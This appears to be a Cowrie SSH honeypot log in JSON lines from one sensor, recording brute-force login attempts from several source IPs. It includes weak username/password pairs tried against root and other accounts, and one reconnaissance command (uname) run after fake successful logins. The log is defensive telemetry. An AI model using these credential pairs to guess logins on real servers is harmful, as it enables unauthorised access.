{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:57.042633Z","src_ip":"2.57.122.238","session":"9f39af8efa16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:57.358298Z","src_ip":"2.57.122.238","session":"9f39af8efa16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:22:58.467304Z","src_ip":"2.57.122.238","session":"9f39af8efa16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":36690,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d3f1269fd82","protocol":"ssh","message":"New connection: 101.44.96.62:36690 (159.203.135.109:22) [session: 2d3f1269fd82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:06.886917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:06.891648Z","src_ip":"101.44.96.62","session":"2d3f1269fd82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:07.106889Z","src_ip":"101.44.96.62","session":"2d3f1269fd82","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:07.749142Z","src_ip":"101.44.96.62","session":"2d3f1269fd82","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:08.300333Z","src_ip":"101.44.96.62","session":"2d3f1269fd82","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:08.304123Z","src_ip":"101.44.96.62","session":"2d3f1269fd82","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:08.522795Z","src_ip":"101.44.96.62","session":"2d3f1269fd82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:08.528502Z","src_ip":"101.44.96.62","session":"2d3f1269fd82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37390,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3b222476209","protocol":"ssh","message":"New connection: 2.57.122.208:37390 (159.203.135.109:22) [session: a3b222476209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:16.165004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:16.205402Z","src_ip":"2.57.122.208","session":"a3b222476209","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:16.319508Z","src_ip":"2.57.122.208","session":"a3b222476209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:16.807393Z","src_ip":"2.57.122.208","session":"a3b222476209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:17.944819Z","src_ip":"2.57.122.208","session":"a3b222476209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":42752,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae8305911e09","protocol":"ssh","message":"New connection: 101.44.96.62:42752 (159.203.135.109:22) [session: ae8305911e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:20.353174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:20.357612Z","src_ip":"101.44.96.62","session":"ae8305911e09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:20.576555Z","src_ip":"101.44.96.62","session":"ae8305911e09","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:21.226013Z","src_ip":"101.44.96.62","session":"ae8305911e09","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:21.693614Z","src_ip":"101.44.96.62","session":"ae8305911e09","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:21.696403Z","src_ip":"101.44.96.62","session":"ae8305911e09","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:21.914792Z","src_ip":"101.44.96.62","session":"ae8305911e09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:21.919455Z","src_ip":"101.44.96.62","session":"ae8305911e09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":43610,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b1952de4ae7","protocol":"ssh","message":"New connection: 101.44.96.62:43610 (159.203.135.109:22) [session: 5b1952de4ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:33.829080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:33.833720Z","src_ip":"101.44.96.62","session":"5b1952de4ae7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:34.050581Z","src_ip":"101.44.96.62","session":"5b1952de4ae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:34.700673Z","src_ip":"101.44.96.62","session":"5b1952de4ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:35.921620Z","src_ip":"101.44.96.62","session":"5b1952de4ae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":60020,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bf8dd8f0a36","protocol":"ssh","message":"New connection: 101.44.96.62:60020 (159.203.135.109:22) [session: 9bf8dd8f0a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:47.260361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:47.264878Z","src_ip":"101.44.96.62","session":"9bf8dd8f0a36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:47.483568Z","src_ip":"101.44.96.62","session":"9bf8dd8f0a36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:48.133106Z","src_ip":"101.44.96.62","session":"9bf8dd8f0a36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:23:49.352538Z","src_ip":"101.44.96.62","session":"9bf8dd8f0a36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":53450,"dst_ip":"159.203.135.109","dst_port":22,"session":"1375e4281de9","protocol":"ssh","message":"New connection: 101.44.96.62:53450 (159.203.135.109:22) [session: 1375e4281de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:00.717712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:00.721979Z","src_ip":"101.44.96.62","session":"1375e4281de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:00.939098Z","src_ip":"101.44.96.62","session":"1375e4281de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"12345678","message":"login attempt [flask/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:01.591573Z","src_ip":"101.44.96.62","session":"1375e4281de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:02.810909Z","src_ip":"101.44.96.62","session":"1375e4281de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.144.28.85","src_port":47322,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0d915b1a1c6","protocol":"ssh","message":"New connection: 103.144.28.85:47322 (10.17.0.5:22) [session: f0d915b1a1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:05.269291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:05.273483Z","src_ip":"103.144.28.85","session":"f0d915b1a1c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:05.353592Z","src_ip":"103.144.28.85","session":"f0d915b1a1c6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"asd123","message":"login attempt [root/asd123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:05.666591Z","src_ip":"103.144.28.85","session":"f0d915b1a1c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:05.852931Z","src_ip":"103.144.28.85","session":"f0d915b1a1c6","protocol":"ssh"}
